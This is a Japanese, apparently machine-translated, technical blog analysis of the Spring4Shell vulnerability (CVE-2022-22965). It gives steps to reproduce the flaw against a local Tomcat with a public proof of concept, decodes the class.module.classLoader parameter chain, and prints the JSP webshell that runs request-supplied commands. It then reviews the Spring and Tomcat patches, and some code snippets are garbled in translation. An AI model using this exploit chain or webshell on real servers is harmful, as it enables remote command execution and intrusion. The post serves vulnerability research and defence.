序文
先週、Spring フレームワークに RCE 脆弱性があることがインターネット上で明らかになり、短期間の公開を経て、Spring は 3 月 31 日に脆弱性情報を正式に公開しました。この記事では、この脆弱性を再現して分析し、さらなる調査を必要とする人々に役立つことを願っています。## 1.事前知識
### 1.1 SpringMVC パラメータのバインディング
プログラミングの便宜を図るため、SpringMVC は、Controller メソッドのパラメーターに従って、HTTP リクエスト内のリクエストパラメーターまたはリクエストボディの内容の型変換と割り当ての自動完了をサポートします。その後、Controller メソッドはこれらのパラメーターを直接使用できるため、HttpServletRequest からリクエスト データを取得したり型変換したりするための大量のコードを記述する必要がなくなります。簡単な例を次に示します。 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controllerpublic class UserController {@RequestMapping( " /addUser") public @ResponseBody String addUser(User user) {return "OK";}}public class User {private String name;private 部署名;public String getName() {return name;}public void setName(String name ) {this.name = 名前;}public 部門 getDepartment() {戻り部門;}public void setDepartment(部門部門) {この。
/addUser?name=test&Department.name=SEC の場合、
public String addUser(User user) の user パラメータの内容は次のようになります。
name は user パラメータの name 属性に自動的にバインドされ、部門.name は user パラメータのデパートメント属性の name 属性に自動的にバインドされていることがわかります。
部門.name のバインディングに注目してください。これは、SpringMVC がマルチレベルのネストされたパラメーター バインディングをサポートしていることを示しています。実際、Department.name のバインディングは、次の呼び出しチェーンを通じて Spring によって実装されます: User.getDepartment()Department.setName()
リクエスト パラメーター名が foo.bar.baz.qux で、対応するコントローラー メソッドの入力パラメーターが Param であるとすると、次の呼び出しチェーンが存在します: Param.getFoo()Foo.getBar()Bar.getBaz()Baz .setQux() // ここで設定されていることに注意してください
SpringMVC がパラメータ バインディングを実装するための主要なクラスとメソッドは、WebDataBinder.doBind(MutablePropertyValues) です。### 1.2 Java BeanPropertyDescriptor
PropertyDescriptor は、JDK に付属する java.beans パッケージの下のクラスであり、Java 準拠の取得に使用されるプロパティ記述子を意味します。
out.println("変更後: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));}}userNameDescriptor: java.beans.PropertyDescriptor[name=name; 値={エキスパート=false; VisualUpdate=false; 非表示=偽; enumerationValues=[Ljava.lang.Object;@5cb9f472; 必須 = false}; propertyType=クラスjava.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]変更前: user.name: foo 変更後: user.name: bar オブジェクト;@5cb9f472; 必須 = false}; propertyType=クラスjava.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]変更前: user.name: foo 変更後: user.name: bar オブジェクト;@5cb9f472; 必須 = false}; propertyType=クラスjava.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]変更前: user.name: foo 変更後: user.name: bar
上記のコードと出力結果からわかるように、PropertyDescriptor は実際には Java Bean プロパティと対応する get/set メソッドのコレクションです。### 1.3 SpringBeanWrapperImpl
Spring では、BeanWrapper インターフェースは Bean のパッケージ化であり、Bean のプロパティにアクセスして設定するための非常に便利なメソッドが多数定義されています。
BeanWrapperImpl クラスは、BeanWrapper インタフェースのデフォルトの実装です。BeanWrapperImpl.wrappedObject プロパティは、ラップされた Bean オブジェクトです。BeanWrapperImpl は、最後に PropertyDescriptor を呼び出して、Bean のプロパティにアクセスして設定します。import org.springframework.beans.BeanWrapper;import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName("foo" );部門部門 = 新しい部門();部門.setName("SEC");user.setDepartment(部門);BeanWrapper userBeanWrapper = 新しい BeanWrapperImpl(ユーザー);userBeanWrapper.setAutoGrowNestedPaths(true);System.out.println("userBeanWrapper : " + userBeanWrapper);System.out.println("変更前: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));System.out.println("user .Department.name: " + userBeanWrapper.
上記のコードと出力結果からわかるように、BeanWrapperImpl は Bean プロパティに簡単にアクセスして設定できます。これは、PropertyDescriptor を直接使用するよりもはるかに簡単です。### 1.4TomcatAccessLogValve と access_log
リクエストとレスポンスの処理には Tomcat の Valve が使用されており、複数の Valve Pipelines を組み合わせることで、一連のリクエストとレスポンスの処理を順番に実装します。このうち、AccessLogValveはアクセスログaccess_logを記録するために使用されます。AccessLogValve はデフォルトで Tomcat のserver.xml に設定されており、Tomcat にデプロイされたすべての Web アプリケーションはこの Valve を実行します。内容は次のとおりです: <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix= "localhost_access_log" suffix=".txt" pattern="%h %l %u %t "%r" %s %b" />
構成に含まれるいくつかの重要なプロパティを以下に示します。
· ディレクトリ: access_log ファイルの出力ディレクトリ。
· プレフィックス: access_log ファイル名のプレフィックス。
· パターン: access_log ファイルのコンテンツ形式。
· 接尾辞: access_log ファイル名の接尾辞。
· fileDateFormat: access_log ファイル名の日付の接尾辞。デフォルトは .yyyy-MM-dd です。## 2.脆弱性の再現
1. Maven プロジェクトを作成します。pom.xml の内容は次のとおりです: <?xml version="1.0"coding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0 .0 "xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven. apache.org/xsd/maven-4.0.0.xsd”>4.0.0org.springframework.bootspring-boot-starter-parent2.6.3 com.exampleCVE-2022-229650.0.1-SNAPSHOTwarorg.springframework.bootspring-boot-starter- weborg.springframework.bootspring-boot-starter-tomcatprovidedorg.springframework.bootspring-boot-maven-plugin
2. SpringBoot の動作タイプとして次のコードを追加します。import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework。 boot.web.servlet.support.SpringBootServletInitializer;@SpringBootApplicationpublic class ApplicationMain extends SpringBootServletInitializer {@Overrideprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {return builder.sources(ApplicationMain.class);}public static void main(String[] args) {SpringApplication. run(ApplicationMain.class, args);}}
3. 1.1 SpringMVCパラメータバインディングのUserクラスとUserControllerクラスをプロジェクトに追加します。
4. Maven パッケージング コマンドを実行して、プロジェクトを war パッケージにパッケージ化します。コマンドは次のとおりです: mvn clean package
5. プロジェクトのターゲットディレクトリにパッケージ化され生成された CVE-2022-22965-0.0.1-SNAPSHOT.war を Tomcat の webapps ディレクトリにコピーし、Tomcat を起動します。
6. https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py から POC ファイルをダウンロードし
、次のコマンドを実行します: python3 poc.py --url http://localhost:8080/CVE -2022 -22965-0.0.1-SNAPSHOT/addUser
7. ブラウザで http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator にアクセスして、脆弱性を再現します。
## 3.脆弱性の分析
### 3.1 POC分析
まずはPOCから分析していきます。POC でデータ URL をデコードすると、次の 5 つのパラメータのペアに分割できます。
3.1.1 パターンパラメータ
パラメータ名：class.module.classLoader.resources.context.parent.pipeline.first.pattern
パラメータ値:
%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd” )).getInputStream(); int a
= -1; byte[] b = 新しいバイト[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{サフィックス}i
明らかに、このパラメーターは SpringMVC 多層ネストされたパラメーター バインディングです。次の呼び出しチェーンを推測できます: User.getClass()java.lang.Class.getModule()...SomeClass.setPattern()では、実際に実行中のプロセスの呼び出しチェーンは何でしょうか? SomeClass はどのクラスですか? これらの疑問を念頭に置いて、前提知識で説明したメイン メソッド WebDataBinder.doBind(MutablePropertyValues) にブレークポイントを設定して、SpringMVC パラメーター バインディングを実装します。
一連の呼び出しロジックの後、AbstractNestablePropertyAccessor、getPropertyAccessorForPropertyPath(String) メソッドの 814 行目に到達します。このメソッドは、それ自体を再帰的に呼び出すことによって class.module.classLoader.resources.context.parent.pipeline.first.pattern の再帰解析を実装し、呼び出しチェーン全体を設定します。
820 行目のAbstractNestablePropertyAccessornestedPa =
getNestedPropertyAccessor(nestedProperty);に注目します。この行は主に各レベルでネストされたパラメータの取得を実装します。この行にブレークポイントを設定して、各再帰解析プロセス中に各変数の値を表示し、ネストの各層のパラメーターを取得する方法を確認します。
[外部リンク画像の転送に失敗しました。ソース サイトには盗難防止リンク メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-pfaSyayF-1689995877791)(https://image.3001.net/images/) 20220406/1649228676_624d3b845b663fdfabf95.png!small )]最初の反復
入力
getPropertyAccessorForPropertyPath(文字列)
メソッドの前:
· this: User の BeanWrapperImpl ラッパー インスタンス
·
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
·
nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern
nestedProperty: クラス、つまり、この反復ラウンドで解析する必要があるネストされたパラメータ
メソッドを入力し、一連の呼び出しロジックを経て、最後に BeanWrapperImpl の 308 行目、BeanPropertyHandler.getValue() メソッドに到達します。クラスのネストされたパラメータが最終的にリフレクションを通じて User の親クラス java.lang.Object.getClass() を呼び出し、java.lang.Class インスタンスを取得して返すことがわかります。
getPropertyAccessorForPropertyPath(String) メソッドが返した後:
これ: ユーザーの BeanWrapperImpl ラッパー インスタンス
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedPath: module.classLoader.resources.context.parent.pipeline.first.pattern、次の反復の propertyPath として
nestedProperty: クラス、つまり、この反復ラウンドで解析する必要があるネストされたパラメータ
nestedPa: java.lang.Class の BeanWrapperImpl ラッパー インスタンス (次の反復で使用)
最初の反復ラウンドの後、呼び出しチェーンの最初の層を取得できます。 User.getClass()java.lang.Class.get???() // 次の反復実装ラウンド
2回目の反復
モジュールのネストされたパラメーターは、最後にリフレクションを通じて java.lang.Class.getModule() を呼び出し、java.lang.Module インスタンスを取得して返します。
2 回目の反復の後、2 番目の層の呼び出しチェーンを取得できます。 User.getClass()java.lang.Class.getModule()java.lang.Module.get???() // 次の反復実装
3回目の反復
classLoader のネストされたパラメータは、最後にリフレクションを通じて java.lang.Module.getClassLoader() を呼び出し、org.apache.catalina.loader.ParallelWebappClassLoader インスタンスを返します。
3 回目の反復の後、第 3 層の呼び出しチェーン User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.get を取得できます。 ???() // 次の反復実装ラウンド
次に、上記のデバッグ方法に従って、残りの再帰ラウンドを順番にデバッグし、対応する変数を観察すると、最終的に次の完全な呼び出しチェーンを取得できます: User.getClass()java.lang.Class.getModule()java.lang。 Module.getClassLoader( )org.apache.catalina.loader.ParallelWebappClassLoader.getResources()org.apache.catalina.webresources.StandardRoot.getContext()org.apache.catalina.core.StandardContext.getParent()org.apache.catalina。 core.StandardHost.getPipeline()org.apache.catalina.core.StandardPipeline.getFirst()org.apache.catalina.valves.AccessLogValve.setPattern()
pattern パラメーターが最終的に AccessLogValve.setPattern() に対応していることがわかります。つまり、AccessLogValve の pattern プロパティが %{c2}i if(“j”.equals(request.getParameter(“
pwd”))に設定されています。 ){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048] ]; while((a= in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i、access_log のファイル コンテンツ形式です。
パターン パラメーターの値をもう一度見てみましょう。通常の Java コードに加えて、3 つの特別なフラグメントが混合されています。AccessLogValve の親クラス AbstractAccessLogValve のソース コードを参照すると、関連ドキュメントを見つけることができます。
つまり、AccessLogValve によって出力されるログは、%{param}i などの形式で HTTP リクエストとレスポンスの内容を直接参照できます。完全なドキュメントについては、この記事の最後にある「参考文献」セクションを参照してください。
poc.py の headers 変数の内容を結合します: headers = {"suffix": "%>//", "c1": "Runtime", "c2": "<%", "DNT": "1" , "Content -Type":"application/x-www-form-urlencoded"}
最後に、AccessLogValve によって出力されるログの実際の内容は次のとおりです (フォーマット済み): <%if(“j”.equals(request.getParameter(“pwd”))){java.io.InputStream in = Runtime.getRuntime( ).exec(request.getParameter(“cmd”)).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=- 1) {out.println(new String(b));}}%>//
明らかに、これは JSP Web シェルです。この Web シェルの出力はどこに行くのでしょうか? 名前は何ですか？直接アクセスして解析し、正常に実行できますか? 次に残りのパラメータを見てみましょう。
3.1.2 サフィックスパラメータ
パラメータ名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
パラメータ値: .jsp
pattern パラメーターと同じデバッグ方法に従って、suffix パラメーターは最終的に、AccessLogValve.suffix を、access_log のファイル名サフィックスである .jsp に設定します。
3.1.3ディレクトリパラメータ
パラメータ名: class.module.classLoader.resources.context.parent.pipeline.first.directory
パラメータ値: webapps/ROOT
pattern パラメータと同じデバッグ方法に従って、directory パラメータは最終的に AccessLogValve.directory を、access_log のファイル出力ディレクトリである webapps/ROOT に設定します。
ここでは webapps/ROOT ディレクトリについて説明します。これは、
Tomcat Web アプリケーションのルート ディレクトリです。ディレクトリにデプロイされた Web アプリケーションには、http://localhost:8080/ のルート ディレクトリを通じて直接アクセスできます。
3.1.4 プレフィックスパラメータ
パラメータ名：class.module.classLoader.resources.context.parent.pipeline.first.prefix
パラメータ値: tomcatwar
pattern パラメーターと同じデバッグ方法に従って、prefix パラメーターは最終的に、AccessLogValve.prefix を、access_log のファイル名プレフィックスである tomcatwar に設定します。
3.1.5 fileDateFormatパラメータ
パラメータ名：class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
パラメータ値: 空
pattern パラメーターと同じデバッグ方法に従って、fileDateFormat パラメーターは最終的に AccessLogValve.fileDateFormat を空に設定します。つまり、access_log のファイル名には日付が含まれません。
3.1.6 概要
これまでのところ、上記の分析後の結論は非常に明確です。リクエストによって渡されたパラメーターを通じて、SpringMVC パラメーター バインディング メカニズムを使用して
Tomcat AccessLogValve のプロパティを制御し、Tomcat にカスタマイズされた「アクセス ログ」tomcatwar を出力させます。 webapps/ROOT ディレクトリ内の .jsp の「アクセス ログ」は、実際には JSP
Web シェルです。
SpringMVC パラメータ バインディングの実際の呼び出しチェーンには、脆弱性を悪用できるかどうかに直接影響する重要なポイントがいくつかあります。### 3.2 脆弱性悪用の重要なポイント
3.2.1 ポイント1：Webアプリケーションの導入方法
java.lang.Module から org.apache.catalina.loader.ParallelWebappClassLoader へのキーは、呼び出しチェーンを Tomcat に転送し、最後に AccessLogValve を使用して Web シェルを出力するための鍵となります。
ParallelWebappClassLoader は、Web アプリケーションが war パッケージとして Tomcat にデプロイされるときに使用されます。現在、ほとんどの企業は SpringBoot 実行可能 jar パッケージを使用して Web アプリケーションを実行しています。次の図に示すように、この方法で、classLoader のネストされたパラメーターが解析される理由を見てみましょう。
[外部リンク画像の転送に失敗しました。ソース サイトにはリーチ防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-MXQTdRWM-1689995877794)(https://image.3001.net/images/20220406) /1649229024_624d3ce0c521ee80ea005.png!small)]
SpringBoot 実行可能 jar パッケージを実行すると、classLoader のネストされたパラメーターが org.springframework.boot.loader.LaunchedURLClassLoader として解析され、そのソース コードを確認して、getResources() メソッドがないことがわかります。特定のソース コードについては、記事の最後にあるリファレンス セクションを参照してください。
そのため、この脆弱性を悪用するための条件の 1 つは、Web アプリケーションの展開方法が Tomcat war パッケージの展開である必要があることです。
3.2.2 重要なポイント 2: JDK のバージョン
前の章の AbstractNestablePropertyAccessornestedPa = getNestedPropertyAccessor(nestedProperty); を呼び出すプロセスで
、Spring は実際に防御を行いました。
Spring は org.springframework.beans.CachedIntrospectionResults を使用して、BeanWrapperImpl で使用できる Java Bean 内の PropertyDescriptor をキャッシュして返します。CachedIntrospectionResults のコンストラクター 289 行目:
この行は、Bean の型が java.lang.Class の場合、classLoader と protectionDomain の PropertyDescriptor は返されないことを意味します。Spring がネストされたパラメーターの呼び出しチェーンを構築するとき、CachedIntrospectionResults によってキャッシュされた PropertyDescriptor に従ってそれを構築します。
戻らない場合は、class.classLoader... この種のネストされたパラメーター、つまり次の呼び出しチェーンが機能しないことを意味します。 Foo.getClass()java.lang.Class.getClassLoader()BarClassLoader.getBaz( )...
これが、この脆弱性を悪用するための 2 番目の条件が JDK>=1.9 である理由です。## 4.パッチ解析
### 4.1 Spring 5.3.18 パッチ
Spring 5.3.17 と 5.3.18 のバージョンを比較すると、 3 月 31 日に「Redefine PropertyDescriptor フィルター」という
コミットがあったことがわかります。
この送信を入力すると、CachedIntrospectionResults コンストラクター内の Java Bean の PropertyDescriptor のフィルター条件が変更されていることがわかります。Java
Bean の型が java.lang.Class の場合、名前とその Name を持つプロパティ記述子のみが変更されます。サフィックスの取得が許可されています。3.2.2 章の
ポイント 2: JDK バージョンでは、java.lang.Class.getModule() を使用したリンクは機能しません。
### 4.2 Tomcat 9.0.62 パッチ
Tomcat 9.0.61 と 9.0.62 のバージョンを比較すると、 4 月 1 日に
「セキュリティ強化。getResources() を廃止し、常に null を返す。」という名前のコミットがあったことがわかります。
[外部リンク画像の転送に失敗しました。ソース サイトには盗難防止リンク メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-iS8YijK4-1689995877795)(https://image.3001.net/images/) 20220406/1649229201_624d3d917d8ad279fe5bf.png!small)]
送信を開始すると、getResources() メソッドの戻り値が変更され、null が直接返されることがわかります。WebappClassLoaderBase は ParallelWebappClassLoader の親クラスです。第 3.2.1 章の
キー ポイント 1: Web アプリケーション デプロイメント モードでは、org.apache.catalina.loader.ParallelWebappClassLoader.getResources() を使用したリンクが失敗します。
## 5.考える_
コードをログ ファイルに出力し、ログ ファイルが解釈および実行されるように制御することは、悪用手法でも一般的です。通常、コードを含む「ログ」ファイルがサーバーに事前に書き込まれ、ファイルインクルードの脆弱性を利用して「ログ」ファイルが解釈されて実行されます。「ログ」ファイルへの書き込みは、Web サービス ミドルウェア自体のログ機能を通じて、または SQL インジェクションやファイル アップロードの脆弱性などの曲線を通じて偶発的に実現できます。
上記とは異なり、この脆弱性ではファイルを含める必要はありません。その理由は、Java Web サービス ミドルウェア自体は Java で記述および実行され、その上でデプロイおよび実行される Java Web アプリケーションは
実際には Java Web サービス ミドルウェア プロセスの一部であり
、内部的に「通信」するためです。Java 言語の強力なランタイム リフレクション機能を利用して、攻撃者は Java Web
アプリケーションの脆弱性を通じて Java Web サービス ミドルウェアを攻撃する可能性があります。つまり、今回は、Web アプリケーション自体の Spring 脆弱性を利用して、Web サービス ミドルウェア Tomcat の access_log 設定内容を変更し、実行可能な「ログ」ファイルを Web アプリケーション ディレクトリに直接出力します
。
日常の開発では、Web アプリケーションの解釈可能な実行ディレクトリは読み取り専用で書き込み不可として厳密に管理する必要があり、ログやアップロードされたファイルなど、実行時に変更される可能性のあるディレクトリは別個に設定し、実行できないようにする必要があります。
この脆弱性は現在のコール チェーンで Tomcat のみを使用していますが、Web アプリケーションから Web サービス ミドルウェア class.module.classLoader... までの適切なコール チェーンが存在する限り、理論的には Jetty、Weblogic、Glassfish なども悪用される可能性があります。 。さらに、ログ ファイルを書き込む現在の方法は、構成ファイルやメモリ ホースなどの他のファイルの形式でも現れる可能性があります。
この脆弱性に関して唯一「安心できる」点は、この脆弱性が JDK 1.9 以上でのみ有効であるということです。「Java 8を使っているのでバージョンを送ってください！」という状態の企業も多いと思います
が、それは今だけの話です。危険を冒すのではなく、計画どおりに Spring をアップグレードすることをお勧めします。### XDR プラットフォームの分析
SpringフレームワークはLog4jShellのLog4j2と同様、JDKレベルに近い基本的なクラスライブラリであり、アプリケーション単体でアップグレードが完了したとしても、他にも非常に大規模なフレームワークやミドルウェアが存在し、アップグレード作業が非常に困難となっている。ほとんどの企業が採用している解決策は、国境警備機器に「一時的なパッチ」を使用することです。同時に、多数のバイパス方法が続き、これには長いプロセスがかかります。
「一時的なパッチ」は根絶できないことを意味し、基礎となる依存関係のアップグレードには非常に時間がかかります。では、この期間中にリスクをより適切に発見して回避するにはどうすればよいでしょうか?
Jidun Technology の分析 XDR プラットフォームは、企業内のさまざまなセキュリティ ログとトラフィックを収集し、これらのデータに基づいてグローバルおよび端末間のリアルタイム相関分析を実行し、隠れたリスクを掘り起こし、柔軟に配置できる一連のリスク処理プロセスを提供します。企業のセキュリティ認識と処理能力を最大化します。たとえ誰かがこの脆弱性を悪用して境界を突破したとしても、より大きな影響を与える前に、分析 XDR プラットフォームは複数端末データの相関分析を通じて、侵入が以前に発生したかどうか、侵入がどの段階に達したかを認識できます。時間内にブロックすることができます。プラットフォームの詳細については、以下のリンクを参照してください。
この方法は後に続きますが、それは長いプロセスになります。
「一時的なパッチ」は根絶できないことを意味し、基礎となる依存関係のアップグレードには非常に時間がかかります。では、この期間中にリスクをより適切に発見して回避するにはどうすればよいでしょうか?
Jidun Technology の分析 XDR プラットフォームは、企業内のさまざまなセキュリティ ログとトラフィックを収集し、これらのデータに基づいてグローバルおよび端末間のリアルタイム相関分析を実行し、隠れたリスクを掘り起こし、柔軟に配置できる一連のリスク処理プロセスを提供します。企業のセキュリティ認識と処理能力を最大化します。たとえ誰かがこの脆弱性を悪用して境界を突破したとしても、より大きな影響を与える前に、分析 XDR プラットフォームは複数端末データの相関分析を通じて、侵入が以前に発生したかどうか、侵入がどの段階に達したかを認識できます。時間内にブロックすることができます。プラットフォームの詳細については、以下のリンクを参照してください。
https://www.jidun.cn/product/xice##Reference* Tomcat access_log 設定リファレンスドキュメント: https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging* Spring 5.3。 17 と 5.3.18 のバージョン比較: https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18* Spring 5.3.18 パッチ提出コンテンツ: https://github.com/ spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15* Tomcat 9.0.61 と 9.0.62 のバージョン比較: https://github.com/apache/tomcat/compare/9.0.61…9.0.62* Tomcat 9.0.62 パッチコンテンツの送信: https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c* LaunchedURLClassLoader ソース コード: https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring - boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java
ネットワーク セキュリティ エンジニアのエンタープライズ レベルの学習ルート
このとき、もちろん体系的な学習ルートが必要です。
画像が大きすぎてプラットフォームによって圧縮されている場合は、記事の最後でダウンロード（無料）でき、一緒に学び、コミュニケーションすることもできます。
サイバーセキュリティに関する私の独習入門書のコレクションの一部
無料で入手したいくつかの優れたビデオチュートリアル:
上記の情報は【下のカードをクリック】で受け取れます、シェアも無料です